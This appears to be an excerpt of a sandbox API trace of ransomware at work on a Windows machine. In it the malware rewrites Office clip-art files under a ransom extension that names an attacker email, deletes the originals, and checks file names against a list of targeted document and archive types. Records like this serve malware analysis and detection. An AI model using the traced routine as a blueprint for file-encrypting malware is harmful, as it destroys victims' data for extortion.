	[0092.222] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.223] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.223] GetLastError () returned 0x0
	[0092.223] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x3670, lpOverlapped=0x0) returned 1
	[0092.224] WriteFile (in: hFile=0x384, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3680, lpOverlapped=0x0) returned 1
	[0092.226] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.226] WriteFile (in: hFile=0x384, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.226] SetEndOfFile (hFile=0x384) returned 1
	[0092.226] CloseHandle (hObject=0x384) returned 1
	[0092.226] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.226] SetEndOfFile (hFile=0x350) returned 1
	[0092.227] CloseHandle (hObject=0x350) returned 1
	[0092.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1
	[0092.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.227] lstrlenW (lpString=".doc") returned 4
	[0092.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.227] lstrlenW (lpString=".docx") returned 5
	[0092.227] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.227] lstrlenW (lpString=".pdf") returned 4
	[0092.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.228] lstrlenW (lpString=".xls") returned 4
	[0092.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.228] lstrlenW (lpString=".xlsx") returned 5
	[0092.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.228] lstrlenW (lpString=".ppt") returned 4
	[0092.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.228] lstrlenW (lpString=".zip") returned 4
	[0092.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.228] lstrlenW (lpString=".rar") returned 4
	[0092.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.228] lstrlenW (lpString=".bz2") returned 4
	[0092.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.228] lstrlenW (lpString=".7z") returned 3
	[0092.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.228] lstrlenW (lpString=".dbf") returned 4
	[0092.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.228] lstrlenW (lpString=".1cd") returned 4
	[0092.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.228] lstrlenW (lpString=".jpg") returned 4
	[0092.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.228] lstrlenW (lpString=".doc") returned 4
	[0092.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.228] lstrlenW (lpString=".docx") returned 5
	[0092.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.228] lstrlenW (lpString=".pdf") returned 4
	[0092.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.228] lstrlenW (lpString=".xls") returned 4
	[0092.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.228] lstrlenW (lpString=".xlsx") returned 5
	[0092.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.229] lstrlenW (lpString=".ppt") returned 4
	[0092.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.229] lstrlenW (lpString=".zip") returned 4
	[0092.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.229] lstrlenW (lpString=".rar") returned 4
	[0092.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.229] lstrlenW (lpString=".bz2") returned 4
	[0092.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.229] lstrlenW (lpString=".7z") returned 3
	[0092.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.229] lstrlenW (lpString=".dbf") returned 4
	[0092.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.229] lstrlenW (lpString=".1cd") returned 4
	[0092.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0092.229] lstrlenW (lpString=".jpg") returned 4
	[0092.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.229] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.229] lstrlenW (lpString="EN00202_.WMF") returned 12
	[0092.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.229] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6938) returned 1
	[0092.230] CloseHandle (hObject=0x350) returned 1
	[0092.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220
	[0092.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.230] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.230] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.230] GetLastError () returned 0x0
	[0092.230] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1b1a, lpOverlapped=0x0) returned 1
	[0092.232] WriteFile (in: hFile=0x384, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0092.233] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.233] WriteFile (in: hFile=0x384, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.233] SetEndOfFile (hFile=0x384) returned 1
	[0092.233] CloseHandle (hObject=0x384) returned 1
	[0092.233] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.233] SetEndOfFile (hFile=0x350) returned 1
	[0092.234] CloseHandle (hObject=0x350) returned 1
	[0092.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1
	[0092.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.234] lstrlenW (lpString=".doc") returned 4
	[0092.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.234] lstrlenW (lpString=".docx") returned 5
	[0092.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.234] lstrlenW (lpString=".pdf") returned 4
	[0092.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.235] lstrlenW (lpString=".xls") returned 4
	[0092.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.235] lstrlenW (lpString=".xlsx") returned 5
	[0092.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.235] lstrlenW (lpString=".ppt") returned 4
	[0092.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.235] lstrlenW (lpString=".zip") returned 4
	[0092.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.235] lstrlenW (lpString=".rar") returned 4
	[0092.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.235] lstrlenW (lpString=".bz2") returned 4
	[0092.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.235] lstrlenW (lpString=".7z") returned 3
	[0092.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.235] lstrlenW (lpString=".dbf") returned 4
	[0092.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.235] lstrlenW (lpString=".1cd") returned 4
	[0092.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.235] lstrlenW (lpString=".jpg") returned 4
	[0092.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.235] lstrlenW (lpString=".doc") returned 4
	[0092.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.235] lstrlenW (lpString=".docx") returned 5
	[0092.235] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.235] lstrlenW (lpString=".pdf") returned 4
	[0092.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.235] lstrlenW (lpString=".xls") returned 4
	[0092.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.236] lstrlenW (lpString=".xlsx") returned 5
	[0092.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.236] lstrlenW (lpString=".ppt") returned 4
	[0092.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.236] lstrlenW (lpString=".zip") returned 4
	[0092.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.236] lstrlenW (lpString=".rar") returned 4
	[0092.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.236] lstrlenW (lpString=".bz2") returned 4
	[0092.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.236] lstrlenW (lpString=".7z") returned 3
	[0092.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.236] lstrlenW (lpString=".dbf") returned 4
	[0092.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.236] lstrlenW (lpString=".1cd") returned 4
	[0092.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0092.236] lstrlenW (lpString=".jpg") returned 4
	[0092.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.236] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.236] lstrlenW (lpString="EN00222_.WMF") returned 12
	[0092.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.237] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=12356) returned 1
	[0092.237] CloseHandle (hObject=0x350) returned 1
	[0092.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220
	[0092.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.237] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.237] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.237] GetLastError () returned 0x0
	[0092.237] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x3044, lpOverlapped=0x0) returned 1
	[0092.239] WriteFile (in: hFile=0x384, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3050, lpOverlapped=0x0) returned 1
	[0092.240] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.240] WriteFile (in: hFile=0x384, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.240] SetEndOfFile (hFile=0x384) returned 1
	[0092.240] CloseHandle (hObject=0x384) returned 1
	[0092.240] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.240] SetEndOfFile (hFile=0x350) returned 1
	[0092.592] CloseHandle (hObject=0x350) returned 1
	[0092.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1
	[0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.593] lstrlenW (lpString=".doc") returned 4
	[0092.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.593] lstrlenW (lpString=".docx") returned 5
	[0092.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.593] lstrlenW (lpString=".pdf") returned 4
	[0092.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.593] lstrlenW (lpString=".xls") returned 4
	[0092.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.593] lstrlenW (lpString=".xlsx") returned 5
	[0092.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.593] lstrlenW (lpString=".ppt") returned 4
	[0092.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.593] lstrlenW (lpString=".zip") returned 4
	[0092.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.593] lstrlenW (lpString=".rar") returned 4
	[0092.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.593] lstrlenW (lpString=".bz2") returned 4
	[0092.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.593] lstrlenW (lpString=".7z") returned 3
	[0092.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.593] lstrlenW (lpString=".dbf") returned 4
	[0092.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.593] lstrlenW (lpString=".1cd") returned 4
	[0092.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.593] lstrlenW (lpString=".jpg") returned 4
	[0092.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.594] lstrlenW (lpString=".doc") returned 4
	[0092.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.594] lstrlenW (lpString=".docx") returned 5
	[0092.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.594] lstrlenW (lpString=".pdf") returned 4
	[0092.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.594] lstrlenW (lpString=".xls") returned 4
	[0092.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.594] lstrlenW (lpString=".xlsx") returned 5
	[0092.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.594] lstrlenW (lpString=".ppt") returned 4
	[0092.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.594] lstrlenW (lpString=".zip") returned 4
	[0092.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.594] lstrlenW (lpString=".rar") returned 4
	[0092.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.594] lstrlenW (lpString=".bz2") returned 4
	[0092.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.594] lstrlenW (lpString=".7z") returned 3
	[0092.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.594] lstrlenW (lpString=".dbf") returned 4
	[0092.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.594] lstrlenW (lpString=".1cd") returned 4
	[0092.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0092.594] lstrlenW (lpString=".jpg") returned 4
	[0092.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.594] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.595] lstrlenW (lpString="FD00306_.WMF") returned 12
	[0092.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.877] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=46814) returned 1
	[0092.877] CloseHandle (hObject=0x390) returned 1
	[0092.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220
	[0092.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
